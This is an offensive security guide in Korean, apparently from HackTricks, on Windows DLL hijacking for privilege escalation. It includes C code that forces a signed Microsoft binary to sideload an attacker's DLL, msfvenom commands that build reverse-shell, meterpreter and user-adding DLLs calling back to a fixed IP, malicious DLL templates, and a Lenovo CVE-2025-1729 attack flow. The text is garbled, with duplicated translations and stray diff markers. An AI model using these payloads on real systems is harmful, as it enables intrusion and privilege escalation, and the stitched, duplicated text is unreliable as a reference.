권한을 상승시키기 위해, 우리가 가질 수 있는 최선의 기회는 **특권 프로세스가 로드하려고 시도할 DLL을 작성하는 것**입니다. 따라서, 우리는 **원래 DLL**이 있는 폴더보다 **먼저 검색되는 폴더**에 DLL을 **작성**할 수 있거나, **DLL이 검색될 폴더**에 **작성할 수 있는 권한**이 있어야 하며, 원래 **DLL이 어떤 폴더에도 존재하지 않아야**니다.
권한 상승을 위해 가장 좋은 기회는 privilege process가 로드하려고 시도할 DLL을 해당 프로세스가 검색하는 위치들 중 하나에 쓸 수 있는 능력입니다. 따라서 우리는 원본 DLL이 있는 폴더보다 먼저 검색되는 폴더에 DLL을 쓸 수 있거나(특이한 경우), 원본 DLL이 어떤 폴더에도 존재하지 않아 해당 폴더에 DLL을 쓸 수 있는 경우에 성공할 수 있습니다.
### Dll Search Order
**Microsoft 문서** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.**
**Microsoft 문서**(https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)에서 DLL이 어떻게 로드되는지 구체적으로 확인할 수 있습니다.
**Windows 애플리케이션**은 **미리 정의된 검색 경로**를 따라 DLL을 찾으며, 특정 순서를 준수합니다. DLL 하이재킹 문제는 해로운 DLL이 이러한 디렉토리 중 하나에 전략적으로 배치되어 진짜 DLL보다 먼저 로드되도록 할 때 발생합니다. 이를 방지하기 위한 해결책은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
Windows 애플리케이션은 미리 정의된 검색 경로 집합을 따라 DLL을 찾으며 특정 순서를 따릅니다. 악성 DLL을 이러한 디렉터리 중 하나에 전략적으로 배치하면 정식 DLL보다 먼저 로드되도록 할 수 있어 DLL hijacking 문제가 발생합니다. 이를 방지하는 한 가지 방법은 애플리케이션이 필요한 DLL을 참조할 때 절대 경로를 사용하도록 하는 것입니다.
32비트 시스템에서의 **DLL 검색 순서**는 다음과 같습니다:
다음은 32-bit 시스템에서의 DLL 검색 순서입니다:
1. 애플리케이션이 로드된 디렉토리.
2. 시스템 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_)
3. 16비트 시스템 디렉토리. 이 디렉토리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_)
4. Windows 디렉토리. 이 디렉토리의 경로를 얻으려면 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다. (_C:\Windows_)
5. 현재 디렉토리.
6. PATH 환경 변수에 나열된 디렉토리. 여기에는 **App Paths** 레지스트리 키에 의해 지정된 애플리케이션별 경로가 포함되지 않습니다. **App Paths** 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다.
1. 애플리케이션이 로드된 디렉터리.
2. 시스템 디렉터리. 이 디렉터리의 경로를 얻으려면 [GetSystemDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 함수를 사용합니다.(_C:\Windows\System32_)
3. 16-bit 시스템 디렉터리. 이 디렉터리의 경로를 얻는 함수는 없지만 검색됩니다. (_C:\Windows\System_)
4. Windows 디렉터리. 이 디렉터리의 경로를 얻으려면 [GetWindowsDirectory](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 함수를 사용합니다.
1. (_C:\Windows_)
5. 현재 디렉터리.
6. PATH 환경 변수에 나열된 디렉터리들. 여기에는 App Paths 레지스트리 키로 지정된 애플리케이션별 경로는 포함되지 않습니다. App Paths 키는 DLL 검색 경로를 계산할 때 사용되지 않습니다.
것이 **SafeDllSearchMode**가 활성화된 상태에서의 **기본** 검색 순서입니다. 비활성화되면 현재 디렉토리가 두 번째 위치로 상승합니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 생성하고 0으로 설정합니다(기본값은 활성화됨).
**SafeDllSearchMode**가 활성화된 경우의 기본 검색 순서입니다. 비활성화되면 현재 디렉터리가 두 번째로 올라갑니다. 이 기능을 비활성화하려면 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 레지스트리 값을 만들고 0으로 설정하면 됩니다(기본값은 활성화).
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 **LoadLibraryEx**가 로드하는 실행 모듈의 디렉토리에서 시작됩니다.
[LoadLibraryEx](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 함수가 **LOAD_WITH_ALTERED_SEARCH_PATH**와 함께 호출되면 검색은 LoadLibraryEx가 로드하는 실행 모듈의 디렉터리에서 시작됩니다.
마지막으로, **DLL은 이름 대신 절대 경로를 지정하여 로드될 수 있습니다**. 이 경우 해당 DLL은 **그 경로에서만 검색됩니다**(DLL에 종속성이 있는 경우, 종속성은 이름으로 로드된 것처럼 검색됩니다).
마지막으로, **절대 경로로 지정되어 DLL을 로드할 수 있다**는 점을 유의하세요. 이 경우 해당 dll은 그 경로에서만 검색됩니다(해당 dll이 종속성을 가지고 있다면, 그 종속성들은 이름으로만 로드될 때처럼 검색됩니다).
검색 순서를 변경하는 다른 방법 있지만 여기서는 설명하지 않겠습니다.
검색 순서를 변경하는 다른 방법들도 있지만 여기서는 설명하지 않겠습니다.
#### Exceptions on dll search order from Windows docs
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
Windows 문서에서 표준 DLL 검색 순서에 대한 특정 예외가 언급됩니다:
새로 생성된 프로세스의 DLL 검색 경로를 결정론적으로 조작하는 고급 방법은 ntdll의 네이티브 API로 프로세스를 생성할 때 RTL_USER_PROCESS_PARAMETERS의 DllPath 필드를 설정하는 것입니다. 여기에서 공격자가 제어하는 디렉터리를 제공하면, 대상 프로세스가 절대 경로 없이(이름으로만) DLL을 해석할 때 해당 디렉터리에서 악성 DLL을 로드하도록 강제할 수 있습니다.
- **메모리에 이미 로드된 DLL과 이름이 같은 DLL**이 발견되면 시스템은 일반 검색을 우회합니다. 대신, 리디렉션 및 매니페스트를 확인한 후 메모리에 이미 있는 DLL로 기본 설정합니다. **이 경우 시스템은 DLL 검색을 수행하지 않습니다**.
- DLL이 현재 Windows 버전의 **알려진 DLL**로 인식되는 경우, 시스템은 검색 프로세스를 생략하고 알려진 DLL의 버전과 해당 종속 DLL을 사용합니다. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**는 이러한 알려진 DLL의 목록을 보유합니다.
- **DLL에 종속성이 있는 경우**, 이러한 종속 DLL에 대한 검색은 초기 DLL이 전체 경로를 통해 식별되었는지 여부에 관계없이 **모듈 이름**만으로 표시된 것처럼 수행됩니다.
핵심 아이디어
- RtlCreateProcessParametersEx로 프로세스 파라미터를 구성하고, 제어하는 폴더(예: dropper/unpacker가 위치한 디렉터리)를 가리키는 맞춤 DllPath를 제공합니다.
- RtlCreateUserProcess로 프로세스를 생성합니다. 대상 바이너리가 이름으로 DLL을 해석하면 로더가 이 제공된 DllPath를 참조하여 해석하므로, 악성 DLL이 대상 EXE와 같은 위치에 있지 않아도 신뢰할 수 있는 sideloading이 가능해집니다.
### Escalating Privileges
주의사항/제한
- 이것은 생성되는 자식 프로세스에 영향을 미치며, 현재 프로세스에만 영향을 주는 SetDllDirectory와는 다릅니다.
- 대상은 이름으로 DLL을 import하거나 LoadLibrary해야 합니다(절대 경로가 아니고 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories를 사용하지 않아야 함).
- KnownDLLs와 하드코딩된 절대 경로는 hijack할 수 없습니다. Forwarded exports와 SxS는 우선순위를 변경할 수 있습니다.
**Requirements**:
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
- **다른 권한**(수평 또는 측면 이동)으로 작동하거나 작동할 **프로세스**를 식별하고, **DLL**이 **누락된** 상태여야 합니다.
- **DLL**이 **검색될** **디렉토리**에 대한 **쓰기 권한**이 있어야 합니다. 이 위치는 실행 파일의 디렉토리일 수도 있고 시스템 경로 내의 디렉토리일 수도 있습니다.
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
네, 기본적으로 **특권 실행 파일이 DLL이 누락된 상태를 찾는 것은 다소 이상하기 때문에** 요구 사항을 찾는 것이 복잡합니다. 그리고 **시스템 경로 폴더에 쓰기 권한을 갖는 것은 기본적으로 불가능합니다**. 그러나 잘못 구성된 환경에서는 가능합니다.\
운이 좋다면 요구 사항을 충족하는 경우, [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인할 수 있습니다. **프로젝트의 주요 목표가 UAC 우회이지만**, 사용할 수 있는 Windows 버전의 DLL 하이재킹 **PoC**를 찾을 수 있습니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다).
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
폴더에서 **권한을 확인할 수 있는 방법**은 다음과 같습니다:
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
운영상 사용 예
- 악성 xmllite.dll (필요한 함수를 내보내거나 실제 DLL을 프록시하는) 를 DllPath 디렉터리에 배치합니다.
- 위 기술을 사용하여 이름으로 xmllite.dll을 조회하는 것으로 알려진 서명된 바이너리를 실행합니다. 로더는 제공된 DllPath를 통해 임포트를 해결하고 귀하의 DLL을 sideload합니다.
이 기법은 실전에서 다단계 sideloading 체인을 유발하는 것으로 관찰되었습니다: 초기 런처가 헬퍼 DLL을 드롭하고, 그 헬퍼가 Microsoft-signed, hijackable 바이너리를 실행하여 커스텀 DllPath로 공격자의 DLL을 스테이징 디렉터리에서 강제로 로드하도록 합니다.
#### Windows 문서의 DLL 검색 순서 예외사항
Windows 문서에는 표준 DLL 검색 순서에 대한 특정 예외들이 명시되어 있습니다:
- When a **이미 메모리에 로드된 것과 같은 이름을 가진 DLL**이 발견되면, 시스템은 일반 검색을 우회합니다. 대신, 리다이렉션과 매니페스트를 확인한 후 기본적으로 이미 메모리에 있는 DLL을 사용합니다. **이 시나리오에서는 시스템이 DLL을 검색하지 않습니다**.
- In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. 레지스트리 키 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**에는 이러한 known DLL들의 목록이 저장되어 있습니다.
- Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path.
### 권한 상승
**요구사항**:
- 수평/측면 이동을 위해 **다른 권한**으로 실행되거나 실행될 가능성이 있는, **DLL이 누락된 프로세스**를 식별합니다.
- **DLL이 검색될** 모든 **디렉터리**에 대해 **쓰기 권한**이 있는지 확인합니다. 이 위치는 실행 파일의 디렉터리이거나 시스템 경로 내의 디렉터리일 수 있습니다.
네, 요구 조건을 찾기는 복잡합니다. 기본적으로 **권한이 높은 실행 파일이 DLL을 누락한 경우를 찾는 것은 드물고**, 시스템 경로 폴더에 **쓰기 권한을 갖는 것은 더욱 드문 일**입니다(기본적으로 불가능합니다). 하지만, 잘못 구성된 환경에서는 이것이 가능할 수 있습니다.\
운 좋게 요구 사항을 충족한다면 [UACME](https://github.com/hfiref0x/UACME) 프로젝트를 확인해 보세요. 프로젝트의 **주된 목적은 UAC 우회이지만**, 해당 Windows 버전용 Dll hijaking의 **PoC**를 찾을 수 있을지 모릅니다(아마도 쓰기 권한이 있는 폴더의 경로만 변경하면 됩니다).
참고: **폴더에서 권한을 확인하는 방법**은 다음과 같습니다:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
모든 폴더의 **권한을 확인하십시오** PATH 안에:
그리고 **PATH 내부의 모든 폴더의 권한을 확인하세요**:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
실행 파일의 임포트와 dll의 익스포트를 확인할 수도 있습니다:
실행 파일의 imports와 dll의 exports는 다음으로 확인할 수 있습니다:
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
전체 가이드는 **System Path 폴더에 쓰기 권한을 이용한 Dll Hijacking 악용 방법**을 확인하세요:
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
{{#ref}}
writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### 자동화 도구
### Automated tools
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 시스템 PATH 내의 어떤 폴더에 쓰기 권한이 있는지 확인합니다.\
이 취약점을 발견하기 위한 다른 흥미로운 자동화 도구는 **PowerSploit 함수**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_입니다.
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)는 system PATH 내부의 어떤 폴더에 대해 쓰기 권한이 있는지 확인합니다.\
이 취약점을 발견하는 데 유용한 다른 자동화 도구로는 **PowerSploit functions**의 _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ 및 _Write-HijackDll_가 있습니다.
### 예시
### Example
악용 가능한 시나리오를 찾는 경우, 성공적으로 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 가져올 모든 함수를 내보내는 dll을 생성하는 것**입니다. 어쨌든, Dll Hijacking은 [**Medium Integrity 레벨에서 High로 (UAC 우회)**](../../authentication-credentials-uac-and-efs/index.html#uac) 또는 [**High Integrity에서 SYSTEM으로**](../index.html#from-high-integrity-to-system)**.**로 상승하는 데 유용하다는 점에 유의하세요. **유효한 dll을 생성하는 방법**에 대한 예시는 이 dll hijacking 연구에서 찾을 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, **다음 섹션**에서는 **템플릿**으로 유용할 수 있는 **기본 dll 코드**를 찾을 수 있습니다.
만약 exploitable한 시나리오를 발견했다면, 성공적으로 이를 악용하기 위해 가장 중요한 것 중 하나는 **실행 파일이 해당 DLL에서 import할 모든 함수들을 최소한으로 export하는 dll을 만드는 것**입니다. 어쨌든, Dll Hijacking은 [Medium Integrity level에서 High **(bypassing UAC)**로 권한 상승](../../authentication-credentials-uac-and-efs/index.html#uac)하거나 [**High Integrity에서 SYSTEM으로**](../index.html#from-high-integrity-to-system) 상승할 때 유용하게 쓰입니다. 실행을 위한 dll hijacking에 초점을 맞춘 이 dll hijacking 연구에서 **유효한 dll을 생성하는 방법**의 예를 찾을 수 있습니다: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
또한, **다음 섹션**에서는 템플릿으로 사용하거나 **필수 함수가 아닌 함수들을 export한 dll**을 만들 때 유용할 수 있는 몇 가지 **기본 dll 코드**를 찾을 수 있습니다.
## **Dll 생성 및 컴파일**
### **Dll 프록시화**
### **Dll Proxifying**
기본적으로 **Dll 프록시**는 **로드될 때 악성 코드를 실행할 수 있는 Dll**이지만, **실제 라이브러리에 대한 모든 호출을 중계하여** **노출**하고 **작동**하는 Dll입니다.
기본적으로 **Dll proxy**는 로드될 때 악성 코드를 **실행**할 수 있으면서도, 모든 호출을 실제 라이브러리로 전달(relay)하여 기대된 대로 **노출(expose)** 및 **동작**할 수 있는 Dll입니다.
[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus) 도구를 사용하면 실제로 **실행 파일을 지정하고 프록시화할 라이브러리를 선택하여** **프록시화된 dll을 생성**하거나 **Dll을 지정하고 프록시화된 dll을 생성**할 수 있습니다.
도구 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 또는 [**Spartacus**](https://github.com/Accenture/Spartacus)를 사용하면 실제로 **실행 파일을 지정하고 proxify할 라이브러리를 선택**하여 proxified dll을 생성하거나, **Dll을 지정하고 proxified dll을 생성**할 수 있습니다.
### **Meterpreter**
**rev shell 가져오기 (x64):**
**rev shell (x64) 얻기:**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**미터프리터 얻기 (x86):**
**meterpreter (x86)을 얻기:**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**사용자 생성 (x86 버전만 확인됨, x64 버전은 없음):**
**사용자 생성 (x86 — x64 버전은 보지 못함):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### 당신의 것
### 직접 제작한 Dll
여러 경우에 컴파일하는 Dll은 **희생자 프로세스에 의해 로드될 여러 함수를 내보내야** 한다는 점에 유의하십시오. 이러한 함수가 존재하지 않으면 **바이너리가** 이를 로드할 수 없으며 **익스플로잇이 실패**합니다.
몇몇 경우, 컴파일한 Dll은 victim process가 로드할 여러 함수를 반드시 **export several functions** 해야 합니다. 이러한 함수들이 존재하지 않으면 **binary won't be able to load** them, 따라서 **exploit will fail**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -212,20 +306,20 @@ break;
return TRUE;
}
```
## 사례 연구: CVE-2025-1729 - TPQMAssistant.exe를 이용한 권한 상승
## 사례 연구: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
이 사례는 Lenovo의 TrackPoint Quick Menu(`TPQMAssistant.exe`)에서 **Phantom DLL Hijacking**을 보여주며, **CVE-2025-1729**로 추적됩니다.
이 사례는 Lenovo의 TrackPoint Quick Menu (`TPQMAssistant.exe`)에서 발생한 **Phantom DLL Hijacking**을 보여주며, **CVE-2025-1729**로 추적됩니다.
### 취약점 세부정보
### 취약점 세부 정보
- **구성 요소**: `TPQMAssistant.exe``C:\ProgramData\Lenovo\TPQM\Assistant\`에 위치합니다.
- **예약된 작업**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask`는 로그인한 사용자의 컨텍스트에서 매일 오전 9:30에 실행됩니다.
- **디렉터리 권한**: `CREATOR OWNER`에 의해 쓰기가 가능하여 로컬 사용자가 임의의 파일을 드롭할 수 있습니다.
- **DLL 검색 동작**: 먼저 작업 디렉터리에서 `hostfxr.dll`을 로드하려 시도하며, 누락된 경우 "NAME NOT FOUND"를 기록하여 로컬 디렉터리 검색 우선 순위를 나타냅니다.
- **구성요소**: `TPQMAssistant.exe` (위치: `C:\ProgramData\Lenovo\TPQM\Assistant\`).
- **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask`은 로그인한 사용자 컨텍스트에서 매일 오전 9:30에 실행됩니다.
- **Directory Permissions**: `CREATOR OWNER`에 의해 쓰기 가능하며, 로컬 사용자가 임의의 파일을 배치할 수 있습니다.
- **DLL Search Behavior**: 먼저 작업 디렉터리에서 `hostfxr.dll`을 로드하려 시도하며, 누락된 경우 "NAME NOT FOUND"를 기록하여 로컬 디렉터리 검색 우선순위를 나타냅니다.
### 익스플로잇 구현
### Exploit Implementation
공격자는 동일한 디렉터리에 악성 `hostfxr.dll` 스텁을 배치하여 누락된 DLL을 이용해 사용자의 컨텍스트에서 코드 실행을 달성할 수 있습니다:
공격자는 동일한 디렉터리에 악성 `hostfxr.dll` 스텁을 배치하여, 누락된 DLL을 악용해 사용자 컨텍스트에서 코드 실행을 얻을 수 있습니다:
```c
#include <windows.h>
@ -239,21 +333,26 @@ return TRUE;
```
### 공격 흐름
1. 표준 사용자로 `hostfxr.dll``C:\ProgramData\Lenovo\TPQM\Assistant\`드롭합니다.
2. 현재 사용자 컨텍스트에서 오전 9:30에 예약된 작업이 실행될 때까지 기다립니다.
3. 작업이 실행될 때 관리자가 로그인되어 있으면 악성 DLL이 관리자의 세션에서 중간 무결도로 실행됩니다.
4. 중간 무결도에서 SYSTEM 권한으로 상승하기 위해 표준 UAC 우회 기술을 연결합니다.
1. 표준 사용자 권한으`hostfxr.dll``C:\ProgramData\Lenovo\TPQM\Assistant\`배치한다.
2. 현재 사용자 컨텍스트에서 예약된 작업이 오전 9시 30분에 실행될 때까지 기다린다.
3. 작업 실행 시 관리자가 로그인한 상태라면, 악성 DLL은 관리자의 세션에서 medium integrity로 실행된다.
4. 표준 UAC bypass techniques를 연계하여 medium integrity에서 SYSTEM 권한으로 권한 상승을 시도한다.
### 완화
Lenovo는 Microsoft Store를 통해 UWP 버전 **1.12.54.0**을 출시하여 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`TPQMAssistant를 설치하고, 취약한 예약 작업을 제거하며, 레거시 Win32 구성 요소를 제거합니다.
Lenovo는 Microsoft Store를 통해 UWP 버전 **1.12.54.0**을 배포했으며, 이 버전은 TPQMAssistant를 `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`에 설치하고, 취약한 예약 작업을 제거하며, 레거시 Win32 구성요소를 제거한다.
## 참
## 참고 자료
- [CVE-2025-1729 - TPQMAssistant.exe를 이용한 권한 상승](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../../banners/hacktricks-training.md}}